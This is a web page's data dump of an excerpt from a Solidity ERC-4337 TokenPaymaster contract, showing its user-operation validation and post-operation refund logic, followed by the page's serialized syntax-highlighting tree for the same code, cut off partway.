TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[102185],{"type":23,"tag":94,"props":102186,"children":102187},{"__ignoreMap":7},[102188,102232,102239,102296,102304,102312,102354,102361,102373,102395,102416,102446,102497,102527,102548,102586,102625,102642,102681,102705,102722,102765,102787,102804,102821,102828,102835,102861,102878,102913,102944,102956,103003,103010,103017,103024,103091,103098,103105,103112,103123,103142,103161,103225,103248,103281,103296,103331,103339,103378,103403,103424,103432,103459,103486,103494,103502,103544,103551,103558,103582,103598,103605,103612,103630,103643,103650,103658],{"type":23,"tag":314,"props":102189,"children":102190},{"class":316,"line":317},[102191,102195,102200,102205,102210,102214,102219,102223,102228],{"type":23,"tag":314,"props":102192,"children":102193},{"style":321},[102194],{"type":28,"value":89066},{"type":23,"tag":314,"props":102196,"children":102197},{"style":2674},[102198],{"type":28,"value":102199}," TokenPaymaster",{"type":23,"tag":314,"props":102201,"children":102202},{"style":321},[102203],{"type":28,"value":102204}," is",{"type":23,"tag":314,"props":102206,"children":102207},{"style":2674},[102208],{"type":28,"value":102209}," BasePaymaster",{"type":23,"tag":314,"props":102211,"children":102212},{"style":338},[102213],{"type":28,"value":778},{"type":23,"tag":314,"props":102215,"children":102216},{"style":2674},[102217],{"type":28,"value":102218},"UniswapHelper",{"type":23,"tag":314,"props":102220,"children":102221},{"style":338},[102222],{"type":28,"value":778},{"type":23,"tag":314,"props":102224,"children":102225},{"style":2674},[102226],{"type":28,"value":102227},"OracleHelper",{"type":23,"tag":314,"props":102229,"children":102230},{"style":338},[102231],{"type":28,"value":1449},{"type":23,"tag":314,"props":102233,"children":102234},{"class":316,"line":370},[102235],{"type":23,"tag":314,"props":102236,"children":102237},{"style":338},[102238],{"type":28,"value":9566},{"type":23,"tag":314,"props":102240,"children":102241},{"class":316,"line":380},[102242,102246,102251,102255,102260,102265,102270,102274,102279,102283,102287,102292],{"type":23,"tag":314,"props":102243,"children":102244},{"style":321},[102245],{"type":28,"value":89083},{"type":23,"tag":314,"props":102247,"children":102248},{"style":332},[102249],{"type":28,"value":102250}," _validatePaymasterUserOp",{"type":23,"tag":314,"props":102252,"children":102253},{"style":338},[102254],{"type":28,"value":341},{"type":23,"tag":314,"props":102256,"children":102257},{"style":321},[102258],{"type":28,"value":102259},"PackedUserOperation",{"type":23,"tag":314,"props":102261,"children":102262},{"style":321},[102263],{"type":28,"value":102264}," calldata",{"type":23,"tag":314,"props":102266,"children":102267},{"style":360},[102268],{"type":28,"value":102269}," userOp",{"type":23,"tag":314,"props":102271,"children":102272},{"style":338},[102273],{"type":28,"value":778},{"type":23,"tag":314,"props":102275,"children":102276},{"style":2674},[102277],{"type":28,"value":102278},"bytes32",{"type":23,"tag":314,"props":102280,"children":102281},{"style":338},[102282],{"type":28,"value":778},{"type":23,"tag":314,"props":102284,"children":102285},{"style":2674},[102286],{"type":28,"value":45417},{"type":23,"tag":314,"props":102288,"children":102289},{"style":360},[102290],{"type":28,"value":102291}," requiredPreFund",{"type":23,"tag":314,"props":102293,"children":102294},{"style":338},[102295],{"type":28,"value":2414},{"type":23,"tag":314,"props":102297,"children":102298},{"class":316,"line":1091},[102299],{"type":23,"tag":314,"props":102300,"children":102301},{"style":321},[102302],{"type":28,"value":102303}," internal\n",{"type":23,"tag":314,"props":102305,"children":102306},{"class":316,"line":1141},[102307],{"type":23,"tag":314,"props":102308,"children":102309},{"style":321},[102310],{"type":28,"value":102311}," override\n",{"type":23,"tag":314,"props":102313,"children":102314},{"class":316,"line":1173},[102315,102320,102324,102328,102333,102337,102341,102345,102350],{"type":23,"tag":314,"props":102316,"children":102317},{"style":2284},[102318],{"type":28,"value":102319}," returns",{"type":23,"tag":314,"props":102321,"children":102322},{"style":338},[102323],{"type":28,"value":2324},{"type":23,"tag":314,"props":102325,"children":102326},{"style":2674},[102327],{"type":28,"value":83080},{"type":23,"tag":314,"props":102329,"children":102330},{"style":321},[102331],{"type":28,"value":102332}," memory",{"type":23,"tag":314,"props":102334,"children":102335},{"style":360},[102336],{"type":28,"value":75593},{"type":23,"tag":314,"props":102338,"children":102339},{"style":338},[102340],{"type":28,"value":778},{"type":23,"tag":314,"props":102342,"children":102343},{"style":2674},[102344],{"type":28,"value":45417},{"type":23,"tag":314,"props":102346,"children":102347},{"style":360},[102348],{"type":28,"value":102349}," validationResult",{"type":23,"tag":314,"props":102351,"children":102352},{"style":338},[102353],{"type":28,"value":2414},{"type":23,"tag":314,"props":102355,"children":102356},{"class":316,"line":1208},[102357],{"type":23,"tag":314,"props":102358,"children":102359},{"style":338},[102360],{"type":28,"value":28435},{"type":23,"tag":314,"props":102362,"children":102363},{"class":316,"line":1216},[102364,102369],{"type":23,"tag":314,"props":102365,"children":102366},{"style":2284},[102367],{"type":28,"value":102368}," unchecked",{"type":23,"tag":314,"props":102370,"children":102371},{"style":338},[102372],{"type":28,"value":1449},{"type":23,"tag":314,"props":102374,"children":102375},{"class":316,"line":1301},[102376,102381,102386,102390],{"type":23,"tag":314,"props":102377,"children":102378},{"style":2674},[102379],{"type":28,"value":102380}," uint256",{"type":23,"tag":314,"props":102382,"children":102383},{"style":338},[102384],{"type":28,"value":102385}," priceMarkup ",{"type":23,"tag":314,"props":102387,"children":102388},{"style":354},[102389],{"type":28,"value":1102},{"type":23,"tag":314,"props":102391,"children":102392},{"style":338},[102393],{"type":28,"value":102394}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":314,"props":102396,"children":102397},{"class":316,"line":1343},[102398,102402,102407,102411],{"type":23,"tag":314,"props":102399,"children":102400},{"style":2674},[102401],{"type":28,"value":102380},{"type":23,"tag":314,"props":102403,"children":102404},{"style":338},[102405],{"type":28,"value":102406}," baseFee ",{"type":23,"tag":314,"props":102408,"children":102409},{"style":354},[102410],{"type":28,"value":1102},{"type":23,"tag":314,"props":102412,"children":102413},{"style":338},[102414],{"type":28,"value":102415}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":314,"props":102417,"children":102418},{"class":316,"line":1351},[102419,102423,102428,102432,102437,102441],{"type":23,"tag":314,"props":102420,"children":102421},{"style":2674},[102422],{"type":28,"value":102380},{"type":23,"tag":314,"props":102424,"children":102425},{"style":338},[102426],{"type":28,"value":102427}," dataLength ",{"type":23,"tag":314,"props":102429,"children":102430},{"style":354},[102431],{"type":28,"value":1102},{"type":23,"tag":314,"props":102433,"children":102434},{"style":338},[102435],{"type":28,"value":102436}," userOp.paymasterAndData.length ",{"type":23,"tag":314,"props":102438,"children":102439},{"style":354},[102440],{"type":28,"value":1051},{"type":23,"tag":314,"props":102442,"children":102443},{"style":338},[102444],{"type":28,"value":102445}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":314,"props":102447,"children":102448},{"class":316,"line":1387},[102449,102454,102459,102463,102467,102471,102475,102479,102484,102488,102493],{"type":23,"tag":314,"props":102450,"children":102451},{"style":2284},[102452],{"type":28,"value":102453}," require",{"type":23,"tag":314,"props":102455,"children":102456},{"style":338},[102457],{"type":28,"value":102458},"(dataLength ",{"type":23,"tag":314,"props":102460,"children":102461},{"style":354},[102462],{"type":28,"value":7828},{"type":23,"tag":314,"props":102464,"children":102465},{"style":1054},[102466],{"type":28,"value":1201},{"type":23,"tag":314,"props":102468,"children":102469},{"style":354},[102470],{"type":28,"value":22942},{"type":23,"tag":314,"props":102472,"children":102473},{"style":338},[102474],{"type":28,"value":102427},{"type":23,"tag":314,"props":102476,"children":102477},{"style":354},[102478],{"type":28,"value":7828},{"type":23,"tag":314,"props":102480,"children":102481},{"style":1054},[102482],{"type":28,"value":102483}," 32",{"type":23,"tag":314,"props":102485,"children":102486},{"style":338},[102487],{"type":28,"value":778},{"type":23,"tag":314,"props":102489,"children":102490},{"style":1245},[102491],{"type":28,"value":102492},"\"TPM: invalid data length\"",{"type":23,"tag":314,"props":102494,"children":102495},{"style":338},[102496],{"type":28,"value":1025},{"type":23,"tag":314,"props":102498,"children":102499},{"class":316,"line":1422},[102500,102504,102509,102513,102518,102523],{"type":23,"tag":314,"props":102501,"children":102502},{"style":2674},[102503],{"type":28,"value":102380},{"type":23,"tag":314,"props":102505,"children":102506},{"style":338},[102507],{"type":28,"value":102508}," maxFeePerGas ",{"type":23,"tag":314,"props":102510,"children":102511},{"style":354},[102512],{"type":28,"value":1102},{"type":23,"tag":314,"props":102514,"children":102515},{"style":338},[102516],{"type":28,"value":102517}," userOp.",{"type":23,"tag":314,"props":102519,"children":102520},{"style":332},[102521],{"type":28,"value":102522},"unpackMaxFeePerGas",{"type":23,"tag":314,"props":102524,"children":102525},{"style":338},[102526],{"type":28,"value":2926},{"type":23,"tag":314,"props":102528,"children":102529},{"class":316,"line":1430},[102530,102534,102539,102543],{"type":23,"tag":314,"props":102531,"children":102532},{"style":2674},[102533],{"type":28,"value":102380},{"type":23,"tag":314,"props":102535,"children":102536},{"style":338},[102537],{"type":28,"value":102538}," refundPostopCost ",{"type":23,"tag":314,"props":102540,"children":102541},{"style":354},[102542],{"type":28,"value":1102},{"type":23,"tag":314,"props":102544,"children":102545},{"style":338},[102546],{"type":28,"value":102547}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":314,"props":102549,"children":102550},{"class":316,"line":1452},[102551,102555,102560,102564,102568,102573,102577,102582],{"type":23,"tag":314,"props":102552,"children":102553},{"style":2284},[102554],{"type":28,"value":102453},{"type":23,"tag":314,"props":102556,"children":102557},{"style":338},[102558],{"type":28,"value":102559},"(refundPostopCost ",{"type":23,"tag":314,"props":102561,"children":102562},{"style":354},[102563],{"type":28,"value":5060},{"type":23,"tag":314,"props":102565,"children":102566},{"style":338},[102567],{"type":28,"value":102517},{"type":23,"tag":314,"props":102569,"children":102570},{"style":332},[102571],{"type":28,"value":102572},"unpackPostOpGasLimit",{"type":23,"tag":314,"props":102574,"children":102575},{"style":338},[102576],{"type":28,"value":17613},{"type":23,"tag":314,"props":102578,"children":102579},{"style":1245},[102580],{"type":28,"value":102581},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":314,"props":102583,"children":102584},{"style":338},[102585],{"type":28,"value":1025},{"type":23,"tag":314,"props":102587,"children":102588},{"class":316,"line":1497},[102589,102593,102598,102602,102607,102611,102616,102620],{"type":23,"tag":314,"props":102590,"children":102591},{"style":2674},[102592],{"type":28,"value":102380},{"type":23,"tag":314,"props":102594,"children":102595},{"style":338},[102596],{"type":28,"value":102597}," preChargeNative ",{"type":23,"tag":314,"props":102599,"children":102600},{"style":354},[102601],{"type":28,"value":1102},{"type":23,"tag":314,"props":102603,"children":102604},{"style":338},[102605],{"type":28,"value":102606}," requiredPreFund ",{"type":23,"tag":314,"props":102608,"children":102609},{"style":354},[102610],{"type":28,"value":1130},{"type":23,"tag":314,"props":102612,"children":102613},{"style":338},[102614],{"type":28,"value":102615}," (refundPostopCost ",{"type":23,"tag":314,"props":102617,"children":102618},{"style":354},[102619],{"type":28,"value":256},{"type":23,"tag":314,"props":102621,"children":102622},{"style":338},[102623],{"type":28,"value":102624}," maxFeePerGas);\n",{"type":23,"tag":314,"props":102626,"children":102627},{"class":316,"line":1539},[102628,102633,102637],{"type":23,"tag":314,"props":102629,"children":102630},{"style":374},[102631],{"type":28,"value":102632}," // ",{"type":23,"tag":314,"props":102634,"children":102635},{"style":321},[102636],{"type":28,"value":66012},{"type":23,"tag":314,"props":102638,"children":102639},{"style":374},[102640],{"type":28,"value":102641},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":314,"props":102643,"children":102644},{"class":316,"line":1548},[102645,102649,102654,102658,102663,102667,102672,102676],{"type":23,"tag":314,"props":102646,"children":102647},{"style":2674},[102648],{"type":28,"value":102380},{"type":23,"tag":314,"props":102650,"children":102651},{"style":338},[102652],{"type":28,"value":102653}," cachedPriceWithMarkup ",{"type":23,"tag":314,"props":102655,"children":102656},{"style":354},[102657],{"type":28,"value":1102},{"type":23,"tag":314,"props":102659,"children":102660},{"style":338},[102661],{"type":28,"value":102662}," cachedPrice ",{"type":23,"tag":314,"props":102664,"children":102665},{"style":354},[102666],{"type":28,"value":256},{"type":23,"tag":314,"props":102668,"children":102669},{"style":338},[102670],{"type":28,"value":102671}," DENOM ",{"type":23,"tag":314,"props":102673,"children":102674},{"style":354},[102675],{"type":28,"value":3835},{"type":23,"tag":314,"props":102677,"children":102678},{"style":338},[102679],{"type":28,"value":102680}," priceMarkup;\n",{"type":23,"tag":314,"props":102682,"children":102683},{"class":316,"line":1584},[102684,102688,102693,102697,102701],{"type":23,"tag":314,"props":102685,"children":102686},{"style":2284},[102687],{"type":28,"value":58052},{"type":23,"tag":314,"props":102689,"children":102690},{"style":338},[102691],{"type":28,"value":102692}," (dataLength ",{"type":23,"tag":314,"props":102694,"children":102695},{"style":354},[102696],{"type":28,"value":7828},{"type":23,"tag":314,"props":102698,"children":102699},{"style":1054},[102700],{"type":28,"value":102483},{"type":23,"tag":314,"props":102702,"children":102703},{"style":338},[102704],{"type":28,"value":367},{"type":23,"tag":314,"props":102706,"children":102707},{"class":316,"line":1617},[102708,102713,102718],{"type":23,"tag":314,"props":102709,"children":102710},{"style":2674},[102711],{"type":28,"value":102712}," uint256",{"type":23,"tag":314,"props":102714,"children":102715},{"style":338},[102716],{"type":28,"value":102717}," clientSuppliedPrice ",{"type":23,"tag":314,"props":102719,"children":102720},{"style":354},[102721],{"type":28,"value":13937},{"type":23,"tag":314,"props":102723,"children":102724},{"class":316,"line":1625},[102725,102730,102734,102738,102743,102747,102752,102756,102760],{"type":23,"tag":314,"props":102726,"children":102727},{"style":2674},[102728],{"type":28,"value":102729}," uint256",{"type":23,"tag":314,"props":102731,"children":102732},{"style":338},[102733],{"type":28,"value":341},{"type":23,"tag":314,"props":102735,"children":102736},{"style":2674},[102737],{"type":28,"value":102278},{"type":23,"tag":314,"props":102739,"children":102740},{"style":338},[102741],{"type":28,"value":102742},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":314,"props":102744,"children":102745},{"style":354},[102746],{"type":28,"value":3746},{"type":23,"tag":314,"props":102748,"children":102749},{"style":338},[102750],{"type":28,"value":102751},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":314,"props":102753,"children":102754},{"style":354},[102755],{"type":28,"value":1130},{"type":23,"tag":314,"props":102757,"children":102758},{"style":1054},[102759],{"type":28,"value":102483},{"type":23,"tag":314,"props":102761,"children":102762},{"style":338},[102763],{"type":28,"value":102764},"]));\n",{"type":23,"tag":314,"props":102766,"children":102767},{"class":316,"line":1660},[102768,102773,102778,102782],{"type":23,"tag":314,"props":102769,"children":102770},{"style":2284},[102771],{"type":28,"value":102772}," if",{"type":23,"tag":314,"props":102774,"children":102775},{"style":338},[102776],{"type":28,"value":102777}," (clientSuppliedPrice ",{"type":23,"tag":314,"props":102779,"children":102780},{"style":354},[102781],{"type":28,"value":5060},{"type":23,"tag":314,"props":102783,"children":102784},{"style":338},[102785],{"type":28,"value":102786}," cachedPriceWithMarkup) {\n",{"type":23,"tag":314,"props":102788,"children":102789},{"class":316,"line":1708},[102790,102795,102799],{"type":23,"tag":314,"props":102791,"children":102792},{"style":374},[102793],{"type":28,"value":102794}," // ",{"type":23,"tag":314,"props":102796,"children":102797},{"style":321},[102798],{"type":28,"value":66012},{"type":23,"tag":314,"props":102800,"children":102801},{"style":374},[102802],{"type":28,"value":102803},": smaller number means 'more native asset per token'\n",{"type":23,"tag":314,"props":102805,"children":102806},{"class":316,"line":1743},[102807,102812,102816],{"type":23,"tag":314,"props":102808,"children":102809},{"style":338},[102810],{"type":28,"value":102811}," cachedPriceWithMarkup ",{"type":23,"tag":314,"props":102813,"children":102814},{"style":354},[102815],{"type":28,"value":1102},{"type":23,"tag":314,"props":102817,"children":102818},{"style":338},[102819],{"type":28,"value":102820}," clientSuppliedPrice;\n",{"type":23,"tag":314,"props":102822,"children":102823},{"class":316,"line":1751},[102824],{"type":23,"tag":314,"props":102825,"children":102826},{"style":338},[102827],{"type":28,"value":70324},{"type":23,"tag":314,"props":102829,"children":102830},{"class":316,"line":1791},[102831],{"type":23,"tag":314,"props":102832,"children":102833},{"style":338},[102834],{"type":28,"value":58136},{"type":23,"tag":314,"props":102836,"children":102837},{"class":316,"line":1805},[102838,102842,102847,102851,102856],{"type":23,"tag":314,"props":102839,"children":102840},{"style":2674},[102841],{"type":28,"value":102380},{"type":23,"tag":314,"props":102843,"children":102844},{"style":338},[102845],{"type":28,"value":102846}," tokenAmount ",{"type":23,"tag":314,"props":102848,"children":102849},{"style":354},[102850],{"type":28,"value":1102},{"type":23,"tag":314,"props":102852,"children":102853},{"style":332},[102854],{"type":28,"value":102855}," weiToToken",{"type":23,"tag":314,"props":102857,"children":102858},{"style":338},[102859],{"type":28,"value":102860},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":314,"props":102862,"children":102863},{"class":316,"line":1818},[102864,102869,102873],{"type":23,"tag":314,"props":102865,"children":102866},{"style":338},[102867],{"type":28,"value":102868}," tokenAmount ",{"type":23,"tag":314,"props":102870,"children":102871},{"style":354},[102872],{"type":28,"value":2028},{"type":23,"tag":314,"props":102874,"children":102875},{"style":338},[102876],{"type":28,"value":102877}," baseFee;\n",{"type":23,"tag":314,"props":102879,"children":102880},{"class":316,"line":1873},[102881,102886,102891,102896,102900,102904,102908],{"type":23,"tag":314,"props":102882,"children":102883},{"style":338},[102884],{"type":28,"value":102885}," SafeERC20.",{"type":23,"tag":314,"props":102887,"children":102888},{"style":332},[102889],{"type":28,"value":102890},"safeTransferFrom",{"type":23,"tag":314,"props":102892,"children":102893},{"style":338},[102894],{"type":28,"value":102895},"(token, userOp.sender, ",{"type":23,"tag":314,"props":102897,"children":102898},{"style":2674},[102899],{"type":28,"value":31888},{"type":23,"tag":314,"props":102901,"children":102902},{"style":338},[102903],{"type":28,"value":341},{"type":23,"tag":314,"props":102905,"children":102906},{"style":321},[102907],{"type":28,"value":16932},{"type":23,"tag":314,"props":102909,"children":102910},{"style":338},[102911],{"type":28,"value":102912},"), tokenAmount);\n",{"type":23,"tag":314,"props":102914,"children":102915},{"class":316,"line":1891},[102916,102921,102925,102930,102934,102939],{"type":23,"tag":314,"props":102917,"children":102918},{"style":338},[102919],{"type":28,"value":102920}," context ",{"type":23,"tag":314,"props":102922,"children":102923},{"style":354},[102924],{"type":28,"value":1102},{"type":23,"tag":314,"props":102926,"children":102927},{"style":321},[102928],{"type":28,"value":102929}," abi",{"type":23,"tag":314,"props":102931,"children":102932},{"style":338},[102933],{"type":28,"value":282},{"type":23,"tag":314,"props":102935,"children":102936},{"style":332},[102937],{"type":28,"value":102938},"encode",{"type":23,"tag":314,"props":102940,"children":102941},{"style":338},[102942],{"type":28,"value":102943},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":314,"props":102945,"children":102946},{"class":316,"line":1899},[102947,102952],{"type":23,"tag":314,"props":102948,"children":102949},{"style":338},[102950],{"type":28,"value":102951}," validationResult ",{"type":23,"tag":314,"props":102953,"children":102954},{"style":354},[102955],{"type":28,"value":13937},{"type":23,"tag":314,"props":102957,"children":102958},{"class":316,"line":1944},[102959,102964,102968,102972,102976,102981,102986,102990,102995,102999],{"type":23,"tag":314,"props":102960,"children":102961},{"style":332},[102962],{"type":28,"value":102963}," _packValidationData",{"type":23,"tag":314,"props":102965,"children":102966},{"style":338},[102967],{"type":28,"value":341},{"type":23,"tag":314,"props":102969,"children":102970},{"style":321},[102971],{"type":28,"value":1532},{"type":23,"tag":314,"props":102973,"children":102974},{"style":338},[102975],{"type":28,"value":778},{"type":23,"tag":314,"props":102977,"children":102978},{"style":2674},[102979],{"type":28,"value":102980},"uint48",{"type":23,"tag":314,"props":102982,"children":102983},{"style":338},[102984],{"type":28,"value":102985},"(cachedPriceTimestamp ",{"type":23,"tag":314,"props":102987,"children":102988},{"style":354},[102989],{"type":28,"value":1130},{"type":23,"tag":314,"props":102991,"children":102992},{"style":338},[102993],{"type":28,"value":102994}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":314,"props":102996,"children":102997},{"style":1054},[102998],{"type":28,"value":1600},{"type":23,"tag":314,"props":103000,"children":103001},{"style":338},[103002],{"type":28,"value":1025},{"type":23,"tag":314,"props":103004,"children":103005},{"class":316,"line":2008},[103006],{"type":23,"tag":314,"props":103007,"children":103008},{"style":338},[103009],{"type":28,"value":2602},{"type":23,"tag":314,"props":103011,"children":103012},{"class":316,"line":2043},[103013],{"type":23,"tag":314,"props":103014,"children":103015},{"style":338},[103016],{"type":28,"value":2610},{"type":23,"tag":314,"props":103018,"children":103019},{"class":316,"line":22803},[103020],{"type":23,"tag":314,"props":103021,"children":103022},{"style":338},[103023],{"type":28,"value":9566},{"type":23,"tag":314,"props":103025,"children":103026},{"class":316,"line":22845},[103027,103031,103036,103040,103045,103049,103053,103057,103061,103065,103069,103074,103078,103082,103087],{"type":23,"tag":314,"props":103028,"children":103029},{"style":321},[103030],{"type":28,"value":89083},{"type":23,"tag":314,"props":103032,"children":103033},{"style":332},[103034],{"type":28,"value":103035}," _postOp",{"type":23,"tag":314,"props":103037,"children":103038},{"style":338},[103039],{"type":28,"value":341},{"type":23,"tag":314,"props":103041,"children":103042},{"style":321},[103043],{"type":28,"value":103044},"PostOpMode",{"type":23,"tag":314,"props":103046,"children":103047},{"style":338},[103048],{"type":28,"value":778},{"type":23,"tag":314,"props":103050,"children":103051},{"style":2674},[103052],{"type":28,"value":83080},{"type":23,"tag":314,"props":103054,"children":103055},{"style":321},[103056],{"type":28,"value":102264},{"type":23,"tag":314,"props":103058,"children":103059},{"style":360},[103060],{"type":28,"value":75593},{"type":23,"tag":314,"props":103062,"children":103063},{"style":338},[103064],{"type":28,"value":778},{"type":23,"tag":314,"props":103066,"children":103067},{"style":2674},[103068],{"type":28,"value":45417},{"type":23,"tag":314,"props":103070,"children":103071},{"style":360},[103072],{"type":28,"value":103073}," actualGasCost",{"type":23,"tag":314,"props":103075,"children":103076},{"style":338},[103077],{"type":28,"value":778},{"type":23,"tag":314,"props":103079,"children":103080},{"style":2674},[103081],{"type":28,"value":45417},{"type":23,"tag":314,"props":103083,"children":103084},{"style":360},[103085],{"type":28,"value":103086}," actualUserOpFeePerGas",{"type":23,"tag":314,"props":103088,"children":103089},{"style":338},[103090],{"type":28,"value":2414},{"type":23,"tag":314,"props":103092,"children":103093},{"class":316,"line":22878},[103094],{"type":23,"tag":314,"props":103095,"children":103096},{"style":321},[103097],{"type":28,"value":102303},{"type":23,"tag":314,"props":103099,"children":103100},{"class":316,"line":22886},[103101],{"type":23,"tag":314,"props":103102,"children":103103},{"style":321},[103104],{"type":28,"value":102311},{"type":23,"tag":314,"props":103106,"children":103107},{"class":316,"line":22894},[103108],{"type":23,"tag":314,"props":103109,"children":103110},{"style":338},[103111],{"type":28,"value":28435},{"type":23,"tag":314,"props":103113,"children":103114},{"class":316,"line":22903},[103115,103119],{"type":23,"tag":314,"props":103116,"children":103117},{"style":2284},[103118],{"type":28,"value":102368},{"type":23,"tag":314,"props":103120,"children":103121},{"style":338},[103122],{"type":28,"value":1449},{"type":23,"tag":314,"props":103124,"children":103125},{"class":316,"line":22979},[103126,103130,103134,103138],{"type":23,"tag":314,"props":103127,"children":103128},{"style":2674},[103129],{"type":28,"value":102380},{"type":23,"tag":314,"props":103131,"children":103132},{"style":338},[103133],{"type":28,"value":102385},{"type":23,"tag":314,"props":103135,"children":103136},{"style":354},[103137],{"type":28,"value":1102},{"type":23,"tag":314,"props":103139,"children":103140},{"style":338},[103141],{"type":28,"value":102394},{"type":23,"tag":314,"props":103143,"children":103144},{"class":316,"line":23012},[103145,103149,103153,103157],{"type":23,"tag":314,"props":103146,"children":103147},{"style":2674},[103148],{"type":28,"value":102380},{"type":23,"tag":314,"props":103150,"children":103151},{"style":338},[103152],{"type":28,"value":102406},{"type":23,"tag":314,"props":103154,"children":103155},{"style":354},[103156],{"type":28,"value":1102},{"type":23,"tag":314,"props":103158,"children":103159},{"style":338},[103160],{"type":28,"value":102415},{"type":23,"tag":314,"props":103162,"children":103163},{"class":316,"line":23020},[103164,103169,103173,103178,103182,103187,103191,103195,103199,103204,103209,103213,103217,103221],{"type":23,"tag":314,"props":103165,"children":103166},{"style":338},[103167],{"type":28,"value":103168}," (",{"type":23,"tag":314,"props":103170,"children":103171},{"style":2674},[103172],{"type":28,"value":45417},{"type":23,"tag":314,"props":103174,"children":103175},{"style":338},[103176],{"type":28,"value":103177}," preCharge, ",{"type":23,"tag":314,"props":103179,"children":103180},{"style":2674},[103181],{"type":28,"value":31888},{"type":23,"tag":314,"props":103183,"children":103184},{"style":338},[103185],{"type":28,"value":103186}," userOpSender) ",{"type":23,"tag":314,"props":103188,"children":103189},{"style":354},[103190],{"type":28,"value":1102},{"type":23,"tag":314,"props":103192,"children":103193},{"style":321},[103194],{"type":28,"value":102929},{"type":23,"tag":314,"props":103196,"children":103197},{"style":338},[103198],{"type":28,"value":282},{"type":23,"tag":314,"props":103200,"children":103201},{"style":332},[103202],{"type":28,"value":103203},"decode",{"type":23,"tag":314,"props":103205,"children":103206},{"style":338},[103207],{"type":28,"value":103208},"(context, (",{"type":23,"tag":314,"props":103210,"children":103211},{"style":2674},[103212],{"type":28,"value":45417},{"type":23,"tag":314,"props":103214,"children":103215},{"style":338},[103216],{"type":28,"value":778},{"type":23,"tag":314,"props":103218,"children":103219},{"style":2674},[103220],{"type":28,"value":31888},{"type":23,"tag":314,"props":103222,"children":103223},{"style":338},[103224],{"type":28,"value":6478},{"type":23,"tag":314,"props":103226,"children":103227},{"class":316,"line":23028},[103228,103233,103238,103243],{"type":23,"tag":314,"props":103229,"children":103230},{"style":338},[103231],{"type":28,"value":103232}," preCharge ",{"type":23,"tag":314,"props":103234,"children":103235},{"style":354},[103236],{"type":28,"value":103237},"-=",{"type":23,"tag":314,"props":103239,"children":103240},{"style":338},[103241],{"type":28,"value":103242}," baseFee; ",{"type":23,"tag":314,"props":103244,"children":103245},{"style":374},[103246],{"type":28,"value":103247},"// don't refund the base fee\n",{"type":23,"tag":314,"props":103249,"children":103250},{"class":316,"line":23065},[103251,103255,103260,103264,103269,103273,103277],{"type":23,"tag":314,"props":103252,"children":103253},{"style":2674},[103254],{"type":28,"value":102380},{"type":23,"tag":314,"props":103256,"children":103257},{"style":338},[103258],{"type":28,"value":103259}," _cachedPrice ",{"type":23,"tag":314,"props":103261,"children":103262},{"style":354},[103263],{"type":28,"value":1102},{"type":23,"tag":314,"props":103265,"children":103266},{"style":332},[103267],{"type":28,"value":103268}," 